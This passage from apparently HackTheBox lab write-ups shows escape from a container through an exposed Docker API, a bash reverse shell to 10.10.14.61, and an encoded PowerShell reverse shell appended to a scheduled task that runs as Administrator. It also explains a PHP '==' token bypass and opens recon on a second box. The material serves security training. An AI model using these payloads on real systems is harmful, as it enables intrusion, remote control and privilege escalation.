ags\":[\"SECCOMP_FILTER_FLAG_TSYNC\",\"SECCOMP_FILTER_FLAG_SPEC_ALLOW\",\"SECCOMP_FILTER_FLAG_LOG\"],\"supportedFlags\":[\"SECCOMP_FILTER_FLAG_TSYNC\",\"SECCOMP_FILTER_FLAG_SPEC_ALLOW\",\"SECCOMP_FILTER_FLAG_LOG\"]},\"apparmor\":{\"enabled\":true},\"selinux\":{\"enabled\":true},\"intelRdt\":{\"enabled\":true},\"mountExtensions\":{\"idmap\":{\"enabled\":true}}},\"annotations\":{\"io.github.seccomp.libseccomp.version\":\"2.5.4\",\"org.opencontainers.runc.checkpoint.enabled\":\"true\",\"org.opencontainers.runc.commit\":\"v1.2.5-0-g59923ef\",\"org.opencontainers.runc.version\":\"1.2.5\"},\"potentiallyUnsafeConfigAnnotations\":[\"bundle\",\"org.systemd.property.\",\"org.criu.config\"]}"}},"runc":{"path":"runc","status":{"org.opencontainers.runtime-spec.features":"{\"ociVersionMin\":\"1.0.0\",\"ociVersionMax\":\"1.2.0\",\"hooks\":[\"prestart\",\"createRuntime\",\"createContainer\",\"startContainer\",\"poststart\",\"poststop\"],\"mountOptions\":[\"async\",\"atime\",\"bind\",\"defaults\",\"dev\",\"diratime\",\"dirsync\",\"exec\",\"iversion\",\"lazytime\",\"loud\",\"mand\",\"noatime\",\"nodev\",\"nodiratime\",\"noexec\",\"noiversion\",\"nolazytime\",\"nomand\",\"norelatime\",\"nostrictatime\",\"nosuid\",\"nosymfollow\",\"private\",\"ratime\",\"rbind\",\"rdev\",\"rdiratime\",\"relatime\",\"remount\",\"rexec\",\"rnoatime\",\"rnodev\",\"rnodiratime\",\"rnoexec\",\"rnorelatime\",\"rnostrictatime\",\"rnosuid\",\"rnosymfollow\",\"ro\",\"rprivate\",\"rrelatime\",\"rro\",\"rrw\",\"rshared\",\"rslave\",\"rstrictatime\",\"rsuid\",\"rsymfollow\",\"runbindable\",\"rw\",\"shared\",\"silent\",\"slave\",\"strictatime\",\"suid\",\"symfollow\",\"sync\",\"tmpcopyup\",\"unbindable\"],\"linux\":{\"namespaces\":[\"cgroup\",\"ipc\",\"mount\",\"network\",\"pid\",\"time\",\"user\",\"uts\"],\"capabilities\":[\"CAP_CHOWN\",\"CAP_DAC_OVERRIDE\",\"CAP_DAC_READ_SEARCH\",\"CAP_FOWNER\",\"CAP_FSETID\",\"CAP_KILL\",\"CAP_SETGID\",\"CAP_SETUID\",\"CAP_SETPCAP\",\"CAP_LINUX_IMMUTABLE\",\"CAP_NET_BIND_SERVICE\",\"CAP_NET_BROADCAST\",\"CAP_NET_ADMIN\",\"CAP_NET_RAW\",\"CAP_IPC_LOCK\",\"CAP_IPC_OWNER\",\"CAP_SYS_MODULE\",\"CAP_SYS_RAWIO\",\"CAP_SYS_CHROOT\",\"CAP_SYS_PTRACE\",\"CAP_SYS_PACCT\",\"CAP_SYS_ADMIN\",\"CAP_SYS_BOOT\",\"CAP_SYS_NICE\",\"CAP_SYS_RESOURCE\",\"CAP_SYS_TIME\",\"CAP_SYS_TTY_CONFIG\",\"CAP_MKNOD\",\"CAP_LEASE\",\"CAP_AUDIT_WRITE\",\"CAP_AUDIT_CONTROL\",\"CAP_SETFCAP\",\"CAP_MAC_OVERRIDE\",\"CAP_MAC_ADMIN\",\"CAP_SYSLOG\",\"CAP_WAKE_ALARM\",\"CAP_BLOCK_SUSPEND\",\"CAP_AUDIT_READ\",\"CAP_PERFMON\",\"CAP_BPF\",\"CAP_CHECKPOINT_RESTORE\"],\"cgroup\":{\"v1\":true,\"v2\":true,\"systemd\":true,\"systemdUser\":true,\"rdma\":true},\"seccomp\":{\"enabled\":true,\"actions\":[\"SCMP_ACT_ALLOW\",\"SCMP_ACT_ERRNO\",\"SCMP_ACT_KILL\",\"SCMP_ACT_KILL_PROCESS\",\"SCMP_ACT_KILL_THREAD\",\"SCMP_ACT_LOG\",\"SCMP_ACT_NOTIFY\",\"SCMP_ACT_TRACE\",\"SCMP_ACT_TRAP\"],\"operators\":[\"SCMP_CMP_EQ\",\"SCMP_CMP_GE\",\"SCMP_CMP_GT\",\"SCMP_CMP_LE\",\"SCMP_CMP_LT\",\"SCMP_CMP_MASKED_EQ\",\"SCMP_CMP_NE\"],\"archs\":[\"SCMP_ARCH_AARCH64\",\"SCMP_ARCH_ARM\",\"SCMP_ARCH_MIPS\",\"SCMP_ARCH_MIPS64\",\"SCMP_ARCH_MIPS64N32\",\"SCMP_ARCH_MIPSEL\",\"SCMP_ARCH_MIPSEL64\",\"SCMP_ARCH_MIPSEL64N32\",\"SCMP_ARCH_PPC\",\"SCMP_ARCH_PPC64\",\"SCMP_ARCH_PPC64LE\",\"SCMP_ARCH_RISCV64\",\"SCMP_ARCH_S390\",\"SCMP_ARCH_S390X\",\"SCMP_ARCH_X32\",\"SCMP_ARCH_X86\",\"SCMP_ARCH_X86_64\"],\"knownFlags\":[\"SECCOMP_FILTER_FLAG_TSYNC\",\"SECCOMP_FILTER_FLAG_SPEC_ALLOW\",\"SECCOMP_FILTER_FLAG_LOG\"],\"supportedFlags\":[\"SECCOMP_FILTER_FLAG_TSYNC\",\"SECCOMP_FILTER_FLAG_SPEC_ALLOW\",\"SECCOMP_FILTER_FLAG_LOG\"]},\"apparmor\":{\"enabled\":true},\"selinux\":{\"enabled\":true},\"intelRdt\":{\"enabled\":true},\"mountExtensions\":{\"idmap\":{\"enabled\":true}}},\"annotations\":{\"io.github.seccomp.libseccomp.version\":\"2.5.4\",\"org.opencontainers.runc.checkpoint.enabled\":\"true\",\"org.opencontainers.runc.commit\":\"v1.2.5-0-g59923ef\",\"org.opencontainers.runc.version\":\"1.2.5\"},\"potentiallyUnsafeConfigAnnotations\":[\"bundle\",\"org.systemd.property.\",\"org.criu.config\"]}"}}},"DefaultRuntime":"runc","Swarm":{"NodeID":"","NodeAddr":"","LocalNodeState":"inactive","ControlAvailable":false,"Error":"","RemoteManagers":null},"LiveRestoreEnabled":false,"Isolation":"","InitBinary":"docker-init","ContainerdCommit":{"ID":"05044ec0a9a75232cad458027ca83437aae3f4da"},"RuncCommit":{"ID":"v1.2.5-0-g59923ef"},"InitCommit":{"ID":"de40ad0"},"SecurityOptions":["name=seccomp,profile=builtin","name=cgroupns"],"FirewallBackend":{"Driver":"iptables"},"CDISpecDirs":["/etc/cdi","/var/run/cdi"],"DiscoveredDevices":[{"Source":"cdi","ID":"docker.com/gpu=webgpu"}],"Containerd":{"Address":"/run/containerd/containerd.sock","Namespaces":{"Containers":"moby","Plugins":"plugins.moby"}},"Warnings":["WARNING: DOCKER_INSECURE_NO_IPTABLES_RAW is set"]}

This output shows a few interesting details:

"KernelVersion": "6.6.87.2-microsoft-standard-WSL2" - the daemon is running on a Microsoft WSL2 kernel, confirming the Docker Desktop / WSL2 backend hypothesis from /etc/resolv.conf.
"OperatingSystem": "Docker Desktop" and "Name": "docker-desktop" - corroborates that this is Docker Desktop, and the daemon’s node name is the hidden docker-desktop WSL2 utility VM (not an interactive WSL distro).
"ServerVersion": "28.3.2" - Docker Engine 28.3.2, which ships with Docker Desktop ~4.44.x, matching the string from the admin-panel changelog earlier.
"Containers": 2, "ContainersRunning": 2 and "Images": 3 - only the Cacti and MariaDB containers are running. There is a third image available.
"HttpProxy": "http.docker.internal:3128" - explains the 3128/tcp port from the nmap scan (Docker Desktop’s internal HTTP proxy).
hubproxy.docker.internal:5555 - explains the 5555/tcp port from nmap as Docker Hub registry mirror.

I’ll list the images:

www-data@821fbd6a43fa:/$ curl 192.168.65.7:2375/images/json        
[{"Containers":1,"Created":1762794130,"Id":"sha256:93b5d01a98de324793eae1d5960bf536402613fd5289eb041bac2c9337bc7666","Labels":{"com.docker.compose.project":"docker_setup","com.docker.compose.service":"nginx-php","com.docker.compose.version":"2.39.1"},"ParentId":"","Descriptor":{"mediaType":"application/vnd.oci.image.index.v1+json","digest":"sha256:93b5d01a98de324793eae1d5960bf536402613fd5289eb041bac2c9337bc7666","size":856},"RepoDigests":["docker_setup-nginx-php@sha256:93b5d01a98de324793eae1d5960bf536402613fd5289eb041bac2c9337bc7666"],"RepoTags":["docker_setup-nginx-php:latest"],"SharedSize":-1,"Size":1277167255},{"Containers":1,"Created":1762791053,"Id":"sha256:74ffe0cfb45116e41fb302d0f680e014bf028ab2308ada6446931db8f55dfd40","Labels":{"com.docker.compose.project":"docker_setup","com.docker.compose.service":"mariadb","com.docker.compose.version":"2.39.1","org.opencontainers.image.authors":"MariaDB Community","org.opencontainers.image.base.name":"docker.io/library/ubuntu:noble","org.opencontainers.image.description":"MariaDB Database for relational SQL","org.opencontainers.image.documentation":"https://hub.docker.com/_/mariadb/","org.opencontainers.image.licenses":"GPL-2.0","org.opencontainers.image.ref.name":"ubuntu","org.opencontainers.image.source":"https://github.com/MariaDB/mariadb-docker","org.opencontainers.image.title":"MariaDB Database","org.opencontainers.image.url":"https://github.com/MariaDB/mariadb-docker","org.opencontainers.image.vendor":"MariaDB Community","org.opencontainers.image.version":"11.4.8"},"ParentId":"","Descriptor":{"mediaType":"application/vnd.oci.image.index.v1+json","digest":"sha256:74ffe0cfb45116e41fb302d0f680e014bf028ab2308ada6446931db8f55dfd40","size":856},"RepoDigests":["docker_setup-mariadb@sha256:74ffe0cfb45116e41fb302d0f680e014bf028ab2308ada6446931db8f55dfd40"],"RepoTags":["docker_setup-mariadb:latest"],"SharedSize":-1,"Size":454269972},{"Containers":0,"Created":1759921496,"Id":"sha256:4b7ce07002c69e8f3d704a9c5d6fd3053be500b7f1c69fc0d80990c2ad8dd412","Labels":null,"ParentId":"","Descriptor":{"mediaType":"application/vnd.oci.image.index.v1+json","digest":"sha256:4b7ce07002c69e8f3d704a9c5d6fd3053be500b7f1c69fc0d80990c2ad8dd412","size":9218},"RepoDigests":["alpine@sha256:4b7ce07002c69e8f3d704a9c5d6fd3053be500b7f1c69fc0d80990c2ad8dd412"],"RepoTags":["alpine:latest"],"SharedSize":-1,"Size":12794775}]

The three image tags are:

docker_setup-nginx-php:latest
docker_setup-mariadb:latest
alpine:latest

Exploit

I’ll follow the same steps, just with a reverse shell rather than writing a file.

Create Container

wget isn’t installed on this container, but curl is. I’ll use the following options:

-H 'Content-Type: application/json' - Required to have the API understand the body.
-d '{"Image": "docker_setup-nginx-php:latest", "Cmd":["/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.61/443 0>&1"],"HostConfig":{"Binds":["/mnt/host/c:/host_root"]}}' - A bash reverse shell as the command. I’m using the PHP container as I know it has Bash (whereas Alpine almost certainly doesn’t). The HostConfig section maps the root filesystem into the container.
-o 0xdf_container.json - The output filename, which can be whatever I want.

It works:

www-data@821fbd6a43fa:/tmp$ curl -H 'Content-Type: application/json' -d '{"Image": "docker_setup-nginx-php:latest", "Cmd":["/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.61/443 0>&1"],"HostConfig":{"Binds":["/mnt/host/c:/host_root"]}}' -o 0xdf_container.json http://192.168.65.7:2375/containers/create
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   249    0    88  100   161    404    739 --:--:-- --:--:-- --:--:--  1147
www-data@821fbd6a43fa:/tmp$ cat 0xdf_container.json 
{"Id":"900987cc8b2650e3f657efb34117607bbc249622c013fec27edbe72fbb210169","Warnings":[]}

Start Container

I’ll start the container using another curl and the ID from the JSON file:

www-data@821fbd6a43fa:/tmp$ curl -d '' http://192.168.65.7:2375/containers/900987cc8b2650e3f657efb34117607bbc249622c013fec27edbe72fbb210169/start

It returns empty, but at my listening nc:

oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.67.15 49176
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@900987cc8b26:/var/www/html# 

I’ll upgrade my shell using the standard trick:

root@900987cc8b26:/var/www/html# script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
root@900987cc8b26:/var/www/html# ^Z
[1]+  Stopped                 nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
            ‍reset
reset: unknown terminal type unknown
Terminal type? screen
root@900987cc8b26:/var/www/html#

/host_root has the host’s C: drive:

root@900987cc8b26:/host_root# ls
'$RECYCLE.BIN'            'Program Files'               Users
'$WinREAgent'             'Program Files (x86)'         Windows
'Documents and Settings'   ProgramData                  Windows.old
 DumpStack.log.tmp         Recovery                     inetpub
 PerfLogs                 'System Volume Information'   pagefile.sys

And I can grab the root flag:

root@900987cc8b26:/host_root/Users/Administrator/Desktop# cat root.txt
eda0f688************************

Beyond Root

Windows Shell

Enumerate Tasks

Having a shell in the Docker VM isn’t as satisfying as having a shell on the Windows box. With full filesystem access, I should be able to get one. I’ll start by enumerating scheduled tasks:

root@0c46ffb5e29e:/host_root/Windows/System32/Tasks# ls
Clean_Containers  Copy_User_File_To_Container  StartDockerDesktopCLIOnly
Clean_DB          Microsoft

Each of these are XML files laying out a scheduled task. For example, Clean_Containers:

 version="1.3" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  
    \Clean_Containers
  
  
    
      
        PT3M
        P365D
        true
      
      2025-11-10T17:54:13Z
      true
    
  
  
     id="Author">
      LeastPrivilege
      Administrator
      Password
    
  
  
    IgnoreNew
    false
    false
    true
    true
    false
    
      PT10M
      PT1H
      true
      false
    
    true
    true
    false
    false
    false
    true
    false
    PT72H
    7
  
   Context="Author">
    
      PowerShell.exe
      -ExecutionPolicy Bypass -File C:\Users\Administrator\Documents\container_cleanup.ps1
    
  

It runs every 3 minutes (PT3M). It is enabled. It runs a script, container_cleanup.ps1, as Administrator.

The jobs are:

Clean_DB - runs C:\Users\Administrator\Documents\db_cleanup.ps1 every 15 minutes as Administrator.
Clean_Containers - runs C:\Users\Administrator\Documents\container_cleanup.ps1 every 3 minutes as Administrator.
Copy_User_File_To_Container - runs C:\Users\Administrator\Documents\copy.ps1 at boot only (BootTrigger).
StartDockerDesktopCLIOnly - runs cmd.exe /c docker desktop start on a LogonTrigger (Administrator, HighestAvailable).
Microsoft\ - the standard Microsoft system-tasks tree (Defender, telemetry, etc).

Cleanup Scripts

This was one of the last boxes to release before HTB started only offering dedicated instances to each player, so there are a few cleanup scripts in the Administrator’s Documents folder:

root@0c46ffb5e29e:/host_root/Users/Administrator/Documents# ls           
'My Music'     'My Videos'              container_cleanup.ps1.bk   db_cleanup.ps1      desktop.ini    shell.ps1
'My Pictures'   container_cleanup.ps1   copy.ps1                   db_cleanup.ps1.bk   docker_setup

container_cleanup.ps1 is the one that runs every 3 minutes. I’ll make a backup:

root@116cff79f4e7:/host_root/Users/Administrator/Documents# cp container_cleanup.ps1 container_cleanup.ps1.bk 

I’ll get a PowerShell reverse shell (#5 with stderr support, base64) and write it to disk:

root@116cff79f4e7:/host_root/Users/Administrator/Documents# echo 'powershell -e JABFAHIAcgBvAHIAVgBpAGUAdwA9ACIATgBvAHIAbQBhAGwAVgBpAGUAdwAiADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAQwBvAG4AdABpAG4AdQBlACIAOwAkAGMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANgAxACIALAA0ADQAMwApADsAJABzAD0AJABjAC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgA9ADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQA9ACQAcwAuAFIAZQBhAGQAKAAkAGIALAAwACwAJABiAC4ATABlAG4AZwB0AGgAKQApAC0AbgBlADAAKQB7ACQAZAA9ACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIALAAwACwAJABpACkAOwB0AHIAeQB7ACQAbwA9AGkAZQB4ACAAJABkACAAMgA+ACYAMQAgADMAPgAmADEAIAA0AD4AJgAxACAANQA+ACYAMQAgADYAPgAmADEAfABPAHUAdAAtAFMAdAByAGkAbgBnAH0AYwBhAHQAYwBoAHsAJABvAD0AJABfAHwATwB1AHQALQBTAHQAcgBpAG4AZwB9AGkAZgAoAFsAcwB0AHIAaQBuAGcAXQA6ADoASQBzAE4AdQBsAGwATwByAEUAbQBwAHQAeQAoACQAbwApACkAewAkAG8APQAiACIAfQAkAHAAPQAiAFAAUwAgACIAKwAoAHAAdwBkACkALgBQAGEAdABoACsAIgA+ACAAIgA7AFsAYgB5AHQAZQBbAF0AXQAkAHMAYgA9ACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABvACsAJABwACkAOwAkAHMALgBXAHIAaQB0AGUAKAAkAHMAYgAsADAALAAkAHMAYgAuAEwAZQBuAGcAdABoACkAOwAkAHMALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMALgBDAGwAbwBzAGUAKAApAA==' > shell.ps1

I can go directly to the script I want it to run in, but it’s safer to take small steps.

I’ll want a newline on the end of the script, and then my shell:

root@116cff79f4e7:/host_root/Users/Administrator/Documents# echo >> container_cleanup.ps1
root@116cff79f4e7:/host_root/Users/Administrator/Documents# cat shell.ps1 >> container_cleanup.ps1
root@116cff79f4e7:/host_root/Users/Administrator/Documents# cat container_cleanup.ps1
start-sleep 100

$containers = docker ps --format "{{.ID}} {{.Image}} {{.RunningFor}}"

foreach ($line in $containers) {
    $parts = $line -split ' '
    $id = $parts[0]
    $image = $parts[1]
    $time = $parts[2]
    $unit = $parts[3]

    if ($image -in @('docker_setup-nginx-php', 'docker_setup-mariadb')) {
        continue
    }

    if (($unit -eq 'minutes' -and [int]$time -gt 10) -or
        ($unit -eq 'hours') -or
        ($unit -eq 'days')) {
        docker rm -f $id
    }
}
powershell -e JABFAHIAcgBvAHIAVgBpAGUAdwA9ACIATgBvAHIAbQBhAGwAVgBpAGUAdwAiADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAQwBvAG4AdABpAG4AdQBlACIAOwAkAGMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANgAxACIALAA0ADQAMwApADsAJABzAD0AJABjAC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgA9ADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQA9ACQAcwAuAFIAZQBhAGQAKAAkAGIALAAwACwAJABiAC4ATABlAG4AZwB0AGgAKQApAC0AbgBlADAAKQB7ACQAZAA9ACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIALAAwACwAJABpACkAOwB0AHIAeQB7ACQAbwA9AGkAZQB4ACAAJABkACAAMgA+ACYAMQAgADMAPgAmADEAIAA0AD4AJgAxACAANQA+ACYAMQAgADYAPgAmADEAfABPAHUAdAAtAFMAdAByAGkAbgBnAH0AYwBhAHQAYwBoAHsAJABvAD0AJABfAHwATwB1AHQALQBTAHQAcgBpAG4AZwB9AGkAZgAoAFsAcwB0AHIAaQBuAGcAXQA6ADoASQBzAE4AdQBsAGwATwByAEUAbQBwAHQAeQAoACQAbwApACkAewAkAG8APQAiACIAfQAkAHAAPQAiAFAAUwAgACIAKwAoAHAAdwBkACkALgBQAGEAdABoACsAIgA+ACAAIgA7AFsAYgB5AHQAZQBbAF0AXQAkAHMAYgA9ACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABvACsAJABwACkAOwAkAHMALgBXAHIAaQB0AGUAKAAkAHMAYgAsADAALAAkAHMAYgAuAEwAZQBuAGcAdABoACkAOwAkAHMALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMALgBDAGwAbwBzAGUAKAApAA==

With nc listening, I’ll wait up to three minutes. Then there’s a shell on the host:

oxdf@hacky$ rlwrap -cAr nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.67.15 60908

PS C:\WINDOWS\system32> whoami
monitorsfour\administrator

PHP Type Juggling

Earlier in this box, I am able to dump all the users. How was I able to do that?

The app directory looks like:

www-data@821fbd6a43fa:~/app$ ls
Router.php  controllers  index.php  static  views

Inside index.php, there are routes defined, including:

$router->new('GET', '/user', 'UserController@get_users');

This says that the function is get_users in controllers/UserController.php:

public function get_users($router)
{
    $token = $_GET['token'] ?? null;

    if ($token === null) {
        echo json_encode(["error" => "Missing token parameter"]);
        exit;
    }

    $auth = new AuthController();
    if (!$auth->validate_token($token)) {
        header("Content-Type: application/json");
        echo json_encode(["error" => "Invalid or missing token"]);
        exit;
    }

    $stmt = $this->db->query("SELECT * FROM users");
    $users = $stmt->fetchAll();

    return json_encode($users);
}

This function checks that the token exists, and shows an error message if not. Then it creates an AuthController object and calls validate_token. If that returns true, it prints the full select * from users.

validate_token is:

public function validate_token($token): bool
{
    $query = "SELECT token FROM users";
    $stmt  = $this->db->query($query);
    $tokens = $stmt->fetchAll(PDO::FETCH_COLUMN);

    foreach ($tokens as $db_token) {
        if ($token == $db_token) {
            return true;
        }
    }

    return false;
}

This gets the token for every user in the DB, and if any of them match, it returns true.

“Match” is the important word there, as it checks $token == $db_token, with two =, not three. That means that it’s open to PHP Type Juggling. The image from that post is quite useful here:

Click for full size image

When == sees two strings that both look numeric, PHP converts them to numbers and compares numerically. "0e543210987654321" parses as scientific notation and evaluates to 0.0; "0" also evaluates to 0. So "0" == "0e543210987654321" becomes 0 == 0, which is true. The fix is ===, which requires both the types and the byte values to match, so "0" === "0e543210987654321" would be false.

HTB: Pterodactyl

2026-05-16T13:45:00+00:00

Pterodactyl hosts a Minecraft community site alongside an instance of the Pterodactyl game-server management panel. I’ll exploit an unauthenticated directory traversal in the panel’s locale endpoint that gets PHP to include arbitrary files on disk, and chain it with the classic PEAR pearcmd technique to write and execute a webshell. From there I’ll read database credentials, crack a bcrypt hash, and pivot to a user who reuses that password. The box runs openSUSE, where I’ll abuse a PAM environment-variable flaw to convince Polkit I’m a local console session, then exploit a libblockdev/udisks vulnerability to mount a crafted XFS image carrying a SetUID-root shell and escalate to root. In Beyond Root, I’ll get CopyFail and DirtyFrag (two recent Linux kernel page-cache privilege-escalation exploits) working on the host.

Box Info

Pterodactyl

Medium

Release Date 07 Feb 2026

Retire Date 16 May 2026

OS Linux

Rated Difficulty

Radar Graph

User

00:09:24

Root

00:41:21

Creators

Recon

Initial Scanning

nmap finds two open TCP ports, SSH (22) and HTTP (80):

oxdf@hacky$ sudo nmap -p- -vvv --min-rate 10000 10.129.64.117
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-05-08 21:18 UTC
...[snip]...
Nmap scan report for 10.129.64.117
Host is up, received echo-reply ttl 63 (0.020s latency).
Scanned at 2026-05-08 21:18:49 UTC for 13s
Not shown: 65512 filtered tcp ports (no-response), 19 filtered tcp ports (admin-prohibited)
PORT     STATE  SERVICE    REASON
22/tcp   open   ssh        syn-ack ttl 63
80/tcp   open   http       syn-ack ttl 63
443/tcp  closed https      reset ttl 63
8080/tcp closed http-proxy reset ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.39 seconds
           Raw packets sent: 131060 (5.767MB) | Rcvd: 24 (1.564KB)
oxdf@hacky$ sudo nmap -p 22,80 -sCV 10.129.64.117
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-05-08 21:22 UTC
Nmap scan report for 10.129.64.117
Host is up (0.020s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6 (protocol 2.0)
| ssh-hostkey: 
|   256 a3:74:1e:a3:ad:02:14:01:00:e6:ab:b4:18:84:16:e0 (ECDSA)
|_  256 65:c8:33:17:7a:d6:52:3d:63:c3:e4:a9:60:64:2d:cc (ED25519)
80/tcp open  http    nginx 1.21.5
|_http-server-header: nginx/1.21.5
|_http-title: Did not follow redirect to http://pterodactyl.htb/

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.93 seconds

The application versions show a conflicting story. The OpenSSH version suggests the host is running Ubuntu 24.04 noble, but usually that has Ubuntu in the version string. Also, the Nginx version suggests something older, maybe 22.04 jammy if it’s Ubuntu. I’ve always found Nginx to be the least reliable for this enumeration, so it’s either just Ubuntu 24.04 with an older Nginx, or there could be Nginx in a container running older Ubuntu, or this could be some other flavor of Linux.

Both of the ports show a TTL of 63, which matches the expected TTL for Linux one hop away. Nginx doesn’t typically show a decremented TTL regardless of if it is proxying to localhost or a container.

There are two ports that show as closed, standing out from the 65512 filtered ports. This implies a firewall rule or something else blocking these.

Subdomain Brute Force - TCP 80

The nmap data shows a redirect to pterodactyl.htb on port 80. I’ll use ffuf to bruteforce for subdomains that respond differently from the default case:

oxdf@hacky$ ffuf -u http://10.129.64.117 -H "Host: FUZZ.pterodactyl.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.64.117
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.pterodactyl.htb
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

panel                   [Status: 200, Size: 1897, Words: 490, Lines: 36, Duration: 528ms]
:: Progress: [19966/19966] :: Job [1/1] :: 1923 req/sec :: Duration: [0:00:10] :: Errors: 0 ::

It finds one! I’ll add both to my /etc/hosts file:

10.129.64.117 pterodactyl.htb panel.pterodactyl.htb

I’ll rescan port 80 with nmap targeting each hostname, but not find anything interesting.

pterodactyl.htb - TCP 80

Site

The site is for a Minecraft community:

The “Copy Server IP” button copies play.pterodactyl.htb to the clipboard. I’ll add that to my hosts file, but it just redirects to pterodactyl.htb.

The “Changelogs” link goes to /changelog.txt:

MonitorLand - CHANGELOG.txt
======================================

Version 1.20.X

[Added] Main Website Deployment
--------------------------------
- Deployed the primary landing site for MonitorLand.
- Implemented homepage, and link for Minecraft server.
- Integrated site styling and dark-mode as primary.

[Linked] Subdomain Configuration
--------------------------------
- Added DNS and reverse proxy routing for play.pterodactyl.htb.
- Configured NGINX virtual host for subdomain forwarding.

[Installed] Pterodactyl Panel v1.11.10
--------------------------------------
- Installed Pterodactyl Panel.
- Configured environment:
  - PHP with required extensions.
  - MariaDB 11.8.3 backend.

[Enhanced] PHP Capabilities
-------------------------------------
- Enabled PHP-FPM for smoother website handling on all domains.
- Enabled PHP-PEAR for PHP package management.
- Added temporary PHP debugging via phpinfo()

Tech Stack

The HTTP response headers show Nginx and PHP:

HTTP/1.1 200 OK
Server: nginx/1.21.5
Date: Sun, 10 May 2026 17:37:03 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/8.4.8
Content-Length: 1686

The site version is 1.20.X (whatever that means).

The changelog gives a bunch of information about the site, including the fact that PHP-FPM (FastCGI Process Manager, commonly paired with Nginx) and PHP-PEAR (PHP Extension and Application Repository, a package manager for PHP libraries) are installed, as well as that the DB is MariaDB version 11.8.3.

The main site loads as /index.php. The 404 page is the default nginx 404:

Directory Brute Force

I’ll run feroxbuster against the site, and include -x php since I know the site is PHP:

oxdf@hacky$ feroxbuster -u http://pterodactyl.htb -x php
                                                                                                                                       
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://pterodactyl.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 💲  Extensions            │ [php]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        7l       11w      153c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        7l        9w      153c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        1l        3w       16c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       92l      186w     1696c http://pterodactyl.htb/global.css
200      GET       28l      105w      920c http://pterodactyl.htb/changelog.txt
